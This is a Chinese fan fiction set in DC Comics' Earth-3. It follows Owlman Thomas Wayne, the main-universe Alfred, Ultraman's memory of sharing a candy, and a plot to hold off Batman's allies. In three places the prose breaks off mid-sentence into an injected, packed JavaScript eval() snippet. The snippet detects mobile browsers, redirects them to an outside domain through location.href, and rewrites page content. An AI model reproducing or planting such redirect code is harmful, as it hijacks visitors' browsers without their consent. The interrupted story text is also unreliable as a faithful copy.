也可能真的对英国美食抱有那么一份没必要的热爱与钻研精神。 回归正题,现在哥谭虽然看上去乱成一片,然而就像百年老树错综复杂的根系,我对这座城市的控制不是那么好摆脱的东西。 谜语人他们只是短暂地翘起点边角料,一旦最初的混乱过去,被他们威胁着‘弃暗投明’的人从眼前危机带来的畏惧中挣脱,很快就会想起谁会带给他们更长远的利益,谁又代表着更大的危险。 然后很快就会有人偷偷溜过来向我揭发通缉犯们的计划,以期我给予宽恕和奖赏。 这不是我盲目乐观,而是曾经发生过很多次。 他们对试图反抗我的人说: “没错,你现在饶了我一命,没错,这值得感激……可是猫头鹰肯定会在未来的某个晚上拧断我的脖子。” 他们当然同样偶尔也会头脑不清地选择背叛我。 于是就真的死了。 所以眼看情况好像很危急的样子,我却并不很着急。 我只疑惑于小丑去哪了,正义联盟在这个计划里又扮演了什么样的角色。 比较让人头疼的一种猜测是……正联——或者说蝙蝠侠,会考虑和我们这里的小丑联手。 这到底是个什么美漫世界啊?反派竟是我自己。 在外面徘徊片刻,心中古怪的感觉占了上风,我选择放着哥谭警局传来的连环警报不管,回头去找阿尔弗雷德。 他正手握拖把在厨房里面进进出出,大理石地面光洁如新,空气中却弥漫着一股腌制食品的神奇味道,甚至怀疑是不是有人往这里扔了罐鲱鱼罐头。我有点后悔没先回房间换制服了,好歹面具还有隔离毒气的功能呢。 “阿尔弗雷德。”我尽量屏气叫他的名字,“你是不是见过蝙蝠侠了?他带着理查德来找过你?” 管家以我非常熟悉的、拿手杖的姿势直起身拄着拖把杆:“当然没有,比起毫无来由的质疑,您的去而复返更加令我惊讶。” 我静静看了他三秒钟。 然后迅速从旁边餐具柜里拿出一把厨刀来,刀尖摇摇对准他没什么血色的脸,问道:“——你是谁?” 站在我面前这个“阿尔弗雷德”应当确实是个上了年纪的人。他和我对峙的时候尽管身姿笔挺,一举一动都显得教养良好、受过专业训练,却能看出来有些年没上过前线了。不过这人心态很好,被揭穿了也不慌张,还露出微笑来反问我:“是哪的问题?” 我:“该怎么说呢……我时常怀疑他,我和‘我的’阿尔弗雷德的关系没那么亲密,他早就已经习惯了。” 对面的老人心领神会:“看来是我不够刻薄。” “也许是刻薄的角度不对,我一般也不用人提醒制服放在哪个抽屉里。” 我没有放下刀,仍然紧紧盯着他,余光警惕四周,防止突然钻出什么人来。其实这时候我脑袋有点发懵了,因为我万万想不到蝙蝠侠竟敢——或者说布鲁斯·韦恩竟然在彻底开战之后,还敢把他最重要的人之一送到我这里来。 总不能因为理查德在他们手上,所以想着人质一换一吧? “您不必这么警惕,这里只有我一个人。”暴露身份之后,老人的情绪收敛很多,看上去礼貌有余、亲近不足,这反倒让我更加适应了,“我想就算是在地球-3,也没有对敌方家属动手的习俗吧?这是我们第二次见面,托马斯·韦恩先生,很抱歉我不能昧着良心说我高兴于见到您安然无恙。” 他是主宇宙的阿尔弗雷德·潘尼沃斯。 “我们只有不放过到手猎物的习惯。”我表面稍微放松,靠在身后的灶台上,握着刀的手臂自然下垂,“你们杀了我的管家?” 这个问题就是随便问的。 身份调换才有可能发生。 所以说蝙蝠侠真的很放心啊! “另一位潘尼沃斯先生安然无恙,”布鲁斯家的老管家还真的在认认真真帮我打扫卫生,他打开抽风机,收拾完地面开始擦灶台面,边说道,“只是格雷森先生毕竟是个未成年人,无论是从他本人的情绪需要还是法理上来说都需要监护人陪同。显然,您最近比较忙碌,没有时间和精力接受我们的邀请……所以布鲁斯少爷自作主张,将潘尼沃斯先生请过去了。” 我冷笑一声。 就挺想吐槽的。 还有点意兴索然。 计划中地球-3我是想只留着理查德一个人,多一个也不算多,他们想救就去救吧。不过一想到我为了我自己那点坚持非要等反监视者到来之后再动手,就觉得漫长的等待的过程实在煎熬,简直像有人在耳边磨刀,一下接着一下,还要觑着你身上有哪块肉可以提前带走。 “那他让你来是什么意思?”我又问。 这是我想不通的地方。 “严格来说布鲁斯少爷并不同意,是我自己想来看看。”说话间主宇宙的管家先生弯腰拧开烤箱开关检查发热管好不好用,又看了看我手里的厨刀,“您要吃点什么吗?” 我:? 十五分钟后,哥谭警局的警报还在响,我把手机调成静音,坐在长长的餐桌前开始享用夜宵。 “您觉得还算合口味吗?”主宇宙阿尔弗雷德若有所思,“这倒是挺罕见的,您知道,布鲁斯少爷从不以吃饭为先。这让我对自己的手艺更加自信了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064604|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谢谢你,小托马斯先生。” “……通常我也不。” 我吃完饭还有点茫然,就觉得哪哪都不太对劲,且怀疑这是正义联盟使我分心并分裂哥谭的阴谋。可是我又不能真的把他扣成人质,连揍一顿都不很合适。平白无故少了个帮手多了个麻烦,刚才那点莫名的亲近感消失之后,烦躁与恼火重新涌了上来。 结果管家看出来了,并且说他能帮我的忙。 ** 地球-3哥谭,小丑的据点之一。 这里面多了几个面容略有熟悉的陌生人。 蝙蝠侠,和他的罗宾,以及‘前罗宾’们。 “所以潘尼沃斯现在算对面的人了?”达米安问。 “对,但是你不用现在就换称呼,还是叫他阿尔弗雷德就行。”迪克坐在一台破沙发上,“布鲁斯,我的‘兄弟’和我们那边的人相处得怎么样了?” 蝙蝠侠对着电脑,正在集中注意力入侵哥谭警局的防火墙,以找到夜枭过去活动时留下的资料:“杜克说理查德还在尝试暗杀他,但至少颇喜欢家里的狗。蝙蝠女侠决定两天就带着他出门转转,熟悉下环境。” 红头罩:“感人肺腑,你们不会真的打算把这家伙看作家庭成员吧?” “那怎么办?”红罗宾说,“他知道布鲁斯是蝙蝠侠,就能顺藤摸瓜地认出我们所有人,而且他连超人真名是克拉克·肯特都知道得一清二楚。再加上夜枭又是一个……” 他想了想,没能挑选出合适的形容词,于是干脆略过去说起正事,“警局两点钟方位,六英里,又是暴动。这是今晚的第四起了吧,比之前要严重一点,你们谁去处理?” 杰森打起精神:“我。我不想和小丑呼吸同一个屋子的空气了,就算是反转宇宙的小丑也不行。是不是猫头鹰开始反击了?” “没错,看起来他已经和阿尔弗雷德谈妥了。夜枭派出一支小队,应该只是试探。” “问题不大。” “注意安全。”蝙蝠侠抬起头。 这件事本该不让年轻人来掺和,最后为什么只有杜克一个人留在主宇宙……只能说通过思维与实践的结合,人类的主观意识能自觉地、有目的地、有计划地反作用于客观世界。通俗地讲,他们自己跑过来的。 “我没有找到他和警局的交易记录,然而这里面肯定有他的人——小心背后。” 红头罩比了个OK的手势,跨上反抗军友情提供的摩托车消失在黑暗当中。 安全屋里的蝙蝠侠刷新了一下页面。 对着最新消息皱起眉。 ——小丑宣告夜枭打算用量子本态炸弹炸掉地球,亚历山大·卢瑟是他的证人。 而本该立刻有所反应的犯罪辛迪加却悄无声息。正联其他人分别盯着自己的同位体,不仅神奇女侠说她那里没什么动静,超人闪电绿灯等人也没给出任何反馈。 蝙蝠侠收回注意力,看向这几天粗略构建出的简易版哥谭南部地区监视系统。旁边触目惊心的血红色数字是今夜的死亡人数,而且还在不断上涨,这是完全不可控的,甚至可以说,是必要的牺牲,只是这个观点和主宇宙超英的行事标准背道而驰,使本该有序的合作过程平添了几分波折。 警局东北方的骚乱很快被杰森镇压下去。可是事情没有结束,很快南面又乱起来,夜枭想让他们左右奔忙,顾不上安排反抗军。 GCPD到底有没有托马斯·韦恩的人? 一定要说的话,整个哥谭全部都是他的人。 蝙蝠侠又瞥了眼毫无动静的正联通讯。 ——或许也包括辛迪加。 他们是在与这个世界为敌。 34. 安全感 卡尔·哀尔。 或者叫他地球的名字,克拉克·肯特。肯特的姓氏来自两个软弱无能的人类强盗,卡尔七岁时杀了那对夫妻,之后就不怎么使用了。 他的亲生父母在氪星毁灭时将他送到地球来,然而地球上的生活其实没有想象中的……有趣。 甚至多数时间都很无聊。 卡尔记得有一次,他、露易丝和托马斯三个人小聚。他与超女王飞去哥谭警局,当年那位警察局局长点头哈腰地邀请他们进门,大声呵斥手下来给他们端茶送水,过程中都不敢抬头同辛迪加成员对视。但当超霸问及夜枭的下落时,局长恭顺的脸上闪过一丝迟疑,支支吾吾半晌,说他不知道。 卡尔生出一点兴致来,故意掐着对方的脖子把人拎起来,想看这怂货对夜枭的忠诚能坚持到什么时刻。十几秒后他手里的人类眼泪鼻涕流了一脸,超霸还没得到答案,就听见身后传来托马斯的声音:“你要把他掐死了。” 超霸手一松,局长在他跟前瘫软在地,又连滚带爬地起身去给哥谭统治者行礼。托马斯看都没看地上的人一眼,彬彬有礼地询问卡尔和露易丝想去什么地方。 常规的乐子都太普通了,东道主夜枭也不是个善于捧场的人,最后他们不知怎么就逛到警局旁边一个无人的棒球场。 三个人还都穿着制服,顿时把几个霸占球场的小年轻吓走了。超霸和超女王开始玩扔球与接球的游戏,夜枭坐在观众席上托着下巴目视前方,也不知道有没有认真看。 “看到这个球了吗?我要用它把你揍成肉酱。” 卡尔随口说道。 露易丝招了招手:“放马过来,让我看看你是不是只会口出狂言的小男孩。” 观众席上夜枭无动于衷。 ……八成没认真看。 棒球场上飞沙走石,给正常人使用的球被高速和巨力干碎好几个,卡尔越玩越窝火。他掂量两下手里最后一枚棒球,没理会亚马逊人的挑衅,将它掷向托马斯的方向。 前一秒卡尔还笃定夜枭看似是在看着他们比赛,实则在心不在焉地发呆。 下一秒对方抬起手,端正地把打着旋的棒球接了下来。 “你不怕骨折?” “你要保证球不散架,它速度就没那么快。” 他们对话的时候,露易丝走过来,捡起夜枭身边的矿泉水仰头灌了一口,于是三个人并排在观众席上坐下。 那天城市天气如何卡尔也没印象了,就记得空气里总弥漫着的独属于哥谭的那股湿漉漉的海腥味,时常让氪星人脑海里面浮现出猫头鹰顶着暴风雨飞过海岬的场景。 观众席最右边,超女王在口袋里掏了掏,拿出一枚水果糖摆在他和夜枭之间,问道:“你们谁想吃?” 这也太可怜了。 当时超霸想。 他们三个是地球上最强大的一批人,现在就坐在破烂的棒球场里喝矿泉水,手里还只有那么一颗糖。出于不屑,他伸手把糖往托马斯的位置推了推:“我不要。” 夜枭的目光落在那颗廉价的水果糖上。 接着他慢吞吞地撕开包装纸,用套着金属手套的食指尖拨拉两下糖球,评价道:“怎么看着像氪石?” 露易丝大笑:“是苹果味的。” 夜枭:“确实像氪石。” 卡尔:“……等等,你们两个是在嘲笑我吗?!” “不,不。”夜枭说,“糖都是这样的。你没吃过?” 超霸呆了一秒:“我从来不吃……这种糖。” 他这次飞快但仔细地看了眼夜枭膝盖上的苹果糖,x视线扫视而过,觉得这东西蠢得一批:“没法提供力量,只适合孱弱废物的地球人。” 超女王:“但是是甜的。你还说我们,你啃氪石就像嚼糖一样。” “这是两码事。氪石给我力量。” “这是一码事,甜的东西让我有力量。” “你这蠢……” “行了,”夜枭打断他们,又对超霸说,“你可以试试,就用你的热视线。还是说你们非得吵到聚会结束为止?时间很晚了,我一会还有事。” “……”超霸握紧拳头指着夜枭问超女王,“我们他妈的凭什么要听他指挥?” “所以比起尝尝糖果,你更想揍他?”超女王问。 最后卡尔还是遵从东道主的意见,用热视线把苹果糖分成了三份,他们一人一块,每人只分到指甲盖大小,实在大材小用且无聊。 而且香精味很重,其实并不好吃,超女王估计是从哪捡来的小玩意故意拿来糊弄他们的。 奇怪的是,过了很长时间,卡尔依然记着这个十分寻常的下午。记着哥谭警局旁边平平无奇的棒球场,和嘴里苹果糖的味道。 后来他以‘防止辛迪加成员因氪石辐射秃头’的名义,给自己的氪石也套上一层糖果包装纸,然后把它们塞到辛迪加总部休息室茶几上的水果篮里,和夜枭从韦恩庄园带来的点心、超女王的甜食、以及其他人放在那的乱七八糟的小零食混在一起。 露易丝提供了防辐射材料,韦恩企业的工厂帮忙印上生产日期。 撕开包装袋的过程明明多此一举、浪费时间,提供的却是一种很绵长的…… “安全感?”夜枭问。 “唔。”超霸不太想承认。 “很正常。” 夜枭声音不大不小,显得并不是很认真。 “你是个氪星人,可你现在生活上地球上。你猜人类活在充满异类的陌生环境会有什么感觉?起初是恐惧。而后他发现自己就像对着磁石的金属块,一步步被吸引和同化却又无能为力,这时他得到的就是安心感。智慧生物天生懂得怎么麻痹自己,卡尔,恐惧就在那里,不会消失,不过他可以假装它们不存在。” “你做过类似的实验?但是我从不害怕。”超霸说,“我只是……飘在天上。” “你会飞。” “我会飞。” “然而人类不会飞。你活在人类当中,卡尔,偶尔也得在地面上走。” 或许托马斯说得对。卡尔心想。这就是为什么他将氪石糖放进口中时会觉得地球确实是他的第二个家乡。和他亲生父母对他的展望不同,他生命中除了追求力量,还应该有点别的东西。 “你呢?托马斯。”他问,“你想要什么?” 他同伴露出没有几分感情投入的微笑,漠然说:“没什么特别的。我迄今为止都只有一个目标,就是让我自己活得更好。” ** 综上,超霸觉得小丑说‘夜枭计划毁灭世界’是在讲屁话。托马斯想让自己活得更舒服,为此他花费无数心血整顿哥谭,又寻找平行宇宙的坐标。 辛迪加中唯一没有超能力的成员是个坚定不移而有行动力的人,他是他们当中最心无旁骛、少受干扰的那个,超霸很难想象有什么东西能让夜枭选择低头放弃——特别是他亲眼见到对方可以在屈服套索下坚持数秒后。 超女王说过:“有些恐惧比死亡更深刻。” 夜枭也说过:“恐惧就在那里,不会消失。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064605|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 卡尔逐渐感受到,的确有什么东西横亘在生命之上俯瞰着他们。只是他太强大,强大到无需思考,所以对于濒死之人比起死亡更加畏惧什么,他仍然无法在脑海中描摹出来。 再加上事发突然,尽管夜枭忙着处理哥谭,超女王也在第一时间控制住局面——她直接用屈服套索绑架了莱克斯·卢瑟。 露易丝把头上套着麻袋的卢瑟拎到他跟前时,超霸瞳孔地震: “你干什么?!” “托马斯和我打过招呼。”露易丝若无其事道,“我们和正义联盟开战,正联联合了哥谭那群疯子并放出消息——打算从内部瓦解辛迪加。不管夜枭说得是真是假,获得了巫师力量的亚历山大都是个麻烦,所以我干脆趁他不注意……” “他什么时候会不注意?” 超女王满含深意道:“夜深人静、只有我们两个的时候。” 超霸:“……” 草。 好恶毒的亚马逊人。 他转移话题:“我也觉得夜枭不大可能背叛我们,不过我不希望量子本态炸弹一直在他手上。” “我明白你的意思。”超女王说,“那也要等我们打赢正义联盟之后再说,现在还有用得着夜枭的地方。” “确实。” 一番口头狠话说完,两个心思各异的超人类心安理得地略过‘如何处理猫头鹰’这个问题,开始研究正义联盟的弱点。 旁边套着麻袋和屈服套索说不出来话的卢瑟:“……” 他妈的。 如果地下赌场有那种‘辛迪加内部混战谁会赢到最后’的赌局,他愿意把自己宝贵的金钱押给夜枭来回本。 问题是现在卢瑟也身在局中。 这种痛苦无人诉说,谁懂。 被夜枭利用信息差一波打蒙的人不止卢瑟。 地球-3哥谭,不管是蝙蝠侠还是小丑,现在都觉得自己像是在玩打地鼠,按下一处暴动又有另一处冒出来。 利爪理查德·格雷森离开夜枭身边以后,托马斯·韦恩反而能毫无顾忌地放开手脚。他的目的并不是将小丑一行人斩尽杀绝,毕竟等反监视者到来之后,一发炸弹就能解决全部问题——他就只是拖延时间,等待末日降临。 蝙蝠侠发现了这一点,但他毫无办法。哥谭反抗军想要夺得量子本态炸弹的控制权,这一点只能是制住夜枭后,由其主动说出密码并转移权限。 让夜枭放弃底牌的手段不外乎威逼利诱。 利诱明显不可能。 威逼,小丑用理查德尝试过了,正义联盟不会考虑利用这孩子来尝试第二次。就算真的再来一次,了解他们行事风格的夜枭也不会信。 此外夜枭在乎的东西寥寥无几,要么虚无缥缈,要么早已离开人世——是这样的,结合小托马斯年幼时那一场误杀,蝙蝠侠还斟酌过是不是可以亲自上阵。说来不够道德,可是黑暗骑士行事可以并不那么讲究道德。 再就是刑讯、精神控制类的药物或魔法。 明面上反抗军控制住哥谭南部,暗地里贝恩组建了一支临时敢死队,目标为攻陷韦恩庄园,赌的是夜枭不会在反监视者到来之前动手,颇有几分利用犯罪者仅剩那点良知的意思。 计划是小丑拍板定下的,有什么变动责任由他来承担。令人惊讶的是,这个宇宙中最相信夜枭存着些许拯救世界的想法的人,反倒是与他纠缠多年的死敌。 超人在正联内部通讯频道里说:“这都什么破烂事。” 蝙蝠侠深以为然。 35. 两处谬误 地球三的阿尔弗雷德和理查德如今正在主宇宙的韦恩庄园里。 杜克在花园中遛狗,他把球从草地这边扔到那边,狗一圈圈地跑来跑去。理查德面无表情地翘着腿坐在花坛上,他熟悉的那位阿尔弗雷德……或者叫他的代号,‘局外人’,身穿燕尾服、拄着手杖站在他身后无所事事。 然而不管是哪个宇宙的哥谭都并非一派祥和,韦恩庄园总有人前来拜访。一个小时前芭芭拉·戈登来过,她看看理查德,露出要笑不笑的表情,却没同他打招呼,而是扭头对杜克说:“今晚需要我帮忙吗?” “我不确定,卡珊德拉说她自己就能够完成夜巡。” “那我还是看着点吧。爸爸说这两天有个大案子,关于调料王抢劫了十六家杂货店还把胡椒粉撒得到处都是之类的……”女孩匆匆离开了,临走前又和颜悦色地对理查德点点头。 三十七分钟前蝙蝠女侠走进门:“我满世界转三圈整,他们还没从地球-3回来。我听说布鲁斯多了个亲生兄弟,这倒是好事……但他怎么长得有点像夜翼?” 杜克有点尴尬,他瞥了眼把他们当空气的理查德,小声说:“他就是迪克,你知道的,地球-3的理查德·格雷森,据说代号是‘利爪’。” “哦。”蝙蝠女侠跟着压低声音,“我刚从信号屏蔽区出来,没收到你们的传讯。现在情况怎么样,需要帮助吗?” 杜克以为她指哥谭,于是又重复了一遍:“卡珊德拉说她自己就行,芭芭拉也会帮忙。” 蝙蝠女侠低头,望向滚到他们脚边的烟|雾|弹:“我问的是你。” “Boom——” “咳咳!他跑了!拜托帮我拦住那家伙!” 蝙蝠女侠冲了上去,又被手杖挡在半道上:“你是平行宇宙的阿尔弗雷德?身手不错。” 局外人:“谢谢夸奖,女士。” 十分钟以后他们滚回原地。蝙蝠狗艾斯热情地用鼻子拱杜克的大腿,纳闷于人类们为什么不带狗狗玩。 杜克则和理查德扭打在一起:“我让你——停下来!!见鬼,这是今天第六次了!迪克像他这么大的时候有这么烦人吗?” “我不敢苟同。”局外人边和蝙蝠女侠周旋、让她没法去给杜克提供帮助,边插言道,“托马斯老爷和我都有志一同地认为,理查德少爷是我们见过的最省心的孩子之一。” “看来这是叛逆期。”蝙蝠女侠说,“我本来还想带着理查德出去转转,现在似乎是行不通了。” “我不想出门。”理查德仰躺在草地上的咬紧牙关与杜克角力,“我要回去‘我们’的哥谭。” “你们的哥谭就要不复存在了。”蝙蝠女侠在他身边半跪下来,局外人见她没有攻击欲望,便未出手,“据我所知,夜枭想要炸掉反监视者,连带整个宇宙,这就是为什么我们出动了小半个正义联盟。对你来说,现在没有消息就是最好的消息,这意味着……托马斯·韦恩并未失败,也没有成功。” 而这两条道路对夜枭而言都不能算好结局。 他走在绝路上。 “他希望你活着,理查德·格雷森,只有你一人。你也可以回去,我们不会拦着你,但那时你要面对的是他的失望和怒火。” 黑发年轻人挣扎的幅度逐渐变小。他抽出一只手盖上眼睛,挡住从天穹投射下来的光线。 杜克揉揉艾斯的脑袋然后站起身,表情复杂。 “阿尔弗雷德……”过了一会,地上的年轻人哑声叫道,喉咙里涌出的声音带着不明显的哽咽,“你早就知道,是不是?” 局外人目视远方,不知道在想什么:“也没那么早,理查德少爷,反监视者这个名字是最近才被告知的。又或许我确实早就知道了,只是从没细想过。毕竟他说‘思想比时间更固执’……”他顿了顿,俯首看着不得不去面对残酷现实的孩子,补充说道,“我很遗憾。” ** “理查德去休息了。”蝙蝠女侠缓步走在韦恩老宅的客厅里,局外人跟在她身后,“我以为你会想回去。” “如果托马斯老爷需要我,我会回去的。” “你看上去并不像那么忠于职守的人,潘尼沃斯先生。理查德·格雷森爱他的‘兄长’,宁愿为了他去死,或者接受一个没有托马斯·韦恩的世界。而你,你甚至并不为夜枭误入歧途而感到悲伤,是什么令你选择回去?” 局外人的皮鞋和手杖在地砖上敲击出有节奏感的重复音节:“我要纠正您这番话里的两处谬误,女士。 首先,托马斯老爷的行为在我看来……在我们那儿,并不能算作是‘误入歧途’。恰恰相反,我们始终坚信他终将会、并且只有他会走在正确的道路上,无论是以你们无法接受的手段支配哥谭,亦或是使用量子本态炸弹毁灭——拯救世界,女士。 其次,我愿意在纠正您的同时回答您的问题。我是否是个忠于职守的人?答案是曾经不是。时值壮年,我有过很多个有关于满足自我的宏伟计划,我打算再干两年就离开韦恩庄园。假如韦恩夫妇不同意,我就设法让他们同意。 然而这时,年幼的托马斯少爷找上我,并提出那个你们应当已经知道的,过分粗糙却很有成效的计划,从那天起我便改变主意,决定放弃我最初的对于未来的构想,转而去跟随他。” 蝙蝠女侠问:“为什么?” “从结果上说,这是我这一生中最有成绩、也最具成就感的投资。您能想象一个在年幼时毫不出众的孩子,长大以后会成为世界上最强大的几个人之一吗? 托马斯少爷小时候不仅平凡,甚至还显得有点愚笨、或者说反应迟钝。这当然是一种伪装,他让自己泯然众人,让他残忍又不知餍足的杀人犯父母不会注意到家中这个小小的异类。在我记忆中玛莎夫人杀人并叫上她的大儿子给他们望风时,托马斯少爷大约只有五岁,他的裤脚浸在血泊里面洗不干净了,我最后不得不把那条穿过没几次的裤子扔掉。 托马斯老爷——我指孩子们的父亲——是个稍显懦弱的男人,小托马斯少爷偶尔的心慈手软恐怕就遗传自这位。玛莎夫人动手的那天他烦躁不安,威胁小托马斯少爷如果被吓得开口大叫并引来警察,那他就处理掉这个儿子,让小托马斯来替他们顶罪。反正韦恩家不缺继承人,那时布鲁斯·韦恩还活着……” 蝙蝠女侠表情不大好看。 局外人:“我说这些不是打算向您介绍托马斯老爷的童年时光有多么不容易,没有,女士,他已经足够幸运了。我们那一出生就被抛弃在垃圾堆里或者长大之后饭都吃不起的孩子更多,重要的是他‘与众不同’。他不享受我们享受的快乐,他不因我们施加的羞辱而感到耻辱,他恐惧的是我们不能理解的事物。他和大多数人是相反的,我后来才明白,他像你们——却不同于你们。” “于是又回到我最初的观点了,女士。您能想象这样的一个孩子,最后成为了你们熟悉的那个夜枭吗?” 他们在主宇宙韦恩夫妇的肖像前停下脚步,局外人抬起头看着已逝故人的面孔,又问道:“数年前,你们能料到布鲁斯·韦恩有朝一日会成为蝙蝠侠吗?” “于是我留下来了。忠心耿耿,遵从他的每一条命令,并坚信我们始终走在正确的道路上。” 蝙蝠女侠:“你回去不是为了阻止他毁灭世界,而是同他一起……” “拯救我们的世界,没错,女士。” “所以你刚才对理查德说‘我很遗憾’只是一句谎言。我开始明白为什么夜枭选择让那个孩子活下来,并拉着你们一道去死了。” “……那不是谎言。”局外人转过头喃喃地说,“我真切地感到遗憾。要是他能坚持……要是他不选择……” 他没再说下去。 ** 地球-3,夜翼和红头罩蹲在韦恩庄园外的老树梢上。 “我好像闻到了猫头鹰屎的味道。” “没那种东西,小杰。”夜翼手里拿着望远镜,头也不回地说,“就算有,昨天夜里下过一场大雨,不管是动物排泄物还是尸体残留的臭味都被冲得一干二净。你是不是忘洗头盔了?” 红头罩:“……不,肯定和这个没关系,总不洗制服的人是你。从这棵树上拿走的猫头鹰蛋现在怎么样了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064606|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “话题转移得有点生硬,不过如果杜克还活着,猫头鹰蛋就有可能被孵化出来,芭芭拉说她会盯着理查德,让他筹划谋杀的时候不至于……嗯,‘欺师灭祖’或者‘谋杀同族’,误伤那些还没出生的猫头鹰宝宝,反正就是这么个意思。” “家里已经有了蝙蝠狗和蝙蝠牛,以此类推,这几只猫头鹰注定以‘蝙蝠猫头鹰’的名义诞生,如果猫头鹰有灵智,可能宁可从来没到过这个世界。” “……”迪克绷不住了,片刻后违心地说,“这次说不定能换个起名风格。” 杰森嗤了一声。 晚风拨开林叶,带来刻骨的凉意。距离贝恩组建的‘自杀小队’冲进韦恩庄园已经过去四十多分钟。古老庞大的建筑群内依旧静悄悄的,岩石包裹着透出光亮的窗口,像渴睡的巨人的昏黄色眼眸。 杰森俯下身,不知道他感受到的寒冷究竟来自于城市的夜晚,还是石巨人的双眼。他抚摸着枪管,想象出一会夜枭带着满身硝烟和血腥气、击碎玻璃落到花园中,张开的披风仿佛鸟类的羽翼。 他曾见到过类似的场景,在另一个宇宙的哥谭。猫头鹰与蝙蝠一前一后跳出他的临时办公室,那时所有人都没想过之后有一天,会必须怀着微妙的心情去阅读另一位“韦恩”的生平事迹。 而他们今晚站在这里,用蝙蝠侠的话说,是为了阻止一场‘大开杀戒’——问题在于作为世界上最伟大的侦探,布鲁斯并没有明确说明杀人者和被杀者究竟被分配给哪一边,迪克和杰森只能自发地将这条命令理解为: 别让事情变得太出格。 “听说贝恩的队伍里还有能操纵他人的心理海盗。”杰森眯起眼睛说,“我想不通这样的队伍会怎么失败。但考虑到蝙蝠侠孤身一人数次在阿卡姆里面杀个七进七出……” 他没说完,韦恩庄园里突然传出震耳欲聋的声响。 “他是在庄园里开坦克吗?!”杰森翻身跳下树枝,趁乱向建筑物方向冲刺。 迪克跟在他后面:“夜枭并没有开发出来蝙蝠洞……猫头鹰洞,他还真的有可能把重型武器停在后花园里。我突然想起来,阿尔弗雷德是被提前转移走了吧?” “你还没到记忆出现问题的年龄,夜翼。按照我们两边互相不伤害人质的隐形规则,夜枭十点钟就把管家打发走了,他早就知道贝恩要来,哪都有他的人。” “这就很奇怪了,头罩。我在想,就算夜枭想要自杀,反监视者没来,现在还不到时候,他干嘛自己留在这呢?” 又是一声惊天动地的巨响。 “小心!”迪克拽住杰森,他们滚到一旁的掩体后面,躲过近在咫尺的火光。 紧接着他回过头,难以自制地露出震惊的表情,为倒影于他蓝眼睛里的画面——韦恩庄园的主建筑在爆炸当中塌陷下去,静默的图景宛若融化的奶油蛋糕。 存在了几个世纪的古老庄园一夕间化为废墟,抱着它的敌人向大地沉没,像它的主人拥抱盛大的退场。 杰森花了几秒钟才反应过来,他扶着掩体站起身凝望着火光,神情严肃道:“你说得对,迪克,他不在这。是蝙蝠侠——哈!‘阻止一场大开杀戒’!布鲁斯知道夜枭会提前离开并布下陷阱,他故意误导我们、支开所有人,来和他的兄弟进行一对一的决斗,他妈的——”他气得破口大骂。 “你不是第一天认识他。”迪克捂着脸说,“但恐怕布鲁斯也没想到夜枭会连韦恩庄园一起炸,我们现在的确得去阻止大开杀戒了,要是救援行动展开得不够及时,火场里没人能活下来。” 救援目标还都是他们的‘老熟人’。 蝙蝠家族的年轻人们对视一眼,都在对方脸上看到了“晦气”的单词。 ** 与此同时,地球-3哥谭,另一边。百丈高楼顶端,两道相似的身影隔着夜色面对面僵持。 “留给你的时间不多了。”夜枭说,“就算是我也难以触及地球的每一处角落。你可以带走你想带的人,拯救你认为值得拯救的人。即便如此,你也要浪费时间在与我的没有意义的争斗上吗?” “布鲁斯。” 36. 兄弟 首先来捋捋最近都发生了什么。 反监视者的消息被控制在辛迪加内部和政府高层间,世界局势依然很稳定。正义联盟采取点对点的攻势,想要尽量减小伤亡。反抗军占领了GCPD,哥谭局部地区陷入暂时性瘫痪状态,但混乱范围没能继续扩大。 下午八点钟,我收到消息,有一支隶属势力不明的小队闯进了哥谭。辛迪加暂且被按下去之后,我的敌人无非在民风淳朴的哥谭反抗军和正义联盟中间选。 我倾向于前者。因为在那之前蝙蝠侠带走了我的管家,然后来到我身边这个阿尔弗雷德,他真的是那种,很特殊的那种。初来乍到那天我吃了他一顿饭,之后他就像我的一个过于礼貌的合租室友——我指他不会干涉你的日常生活,但每次睡觉洗衣服下楼吃饭或者进行某些R18的夜间行动时,你都能顺理成章地看到他,并得到是否需要帮忙的询问。 最初,尽管他再三向我强调他着有丰富的给披风斗士打下手的经验,也不会将我的布置透露给蝙蝠侠——这一点我能自己把关——我仍然坚决地因为各种理由拒绝他,把我们的关系彻底固定在室友上。 紧接着我发现蝙蝠侠捞走我的管家实在是经过了深谋远虑,他一定了解人类骤然失去值得信赖的左右手是个什么感受。 人类的精力是有限的,纸片人也是。鉴于我目前复杂的立场,找个值得信任的副手是件挺困难的事,而且事到如今我最需要的不是顾及自身情绪,而是实施计划的效率。 ——于是一段时间过后,我们合乎情理又非常离奇地从合租室友变成了合作犯罪的关系。 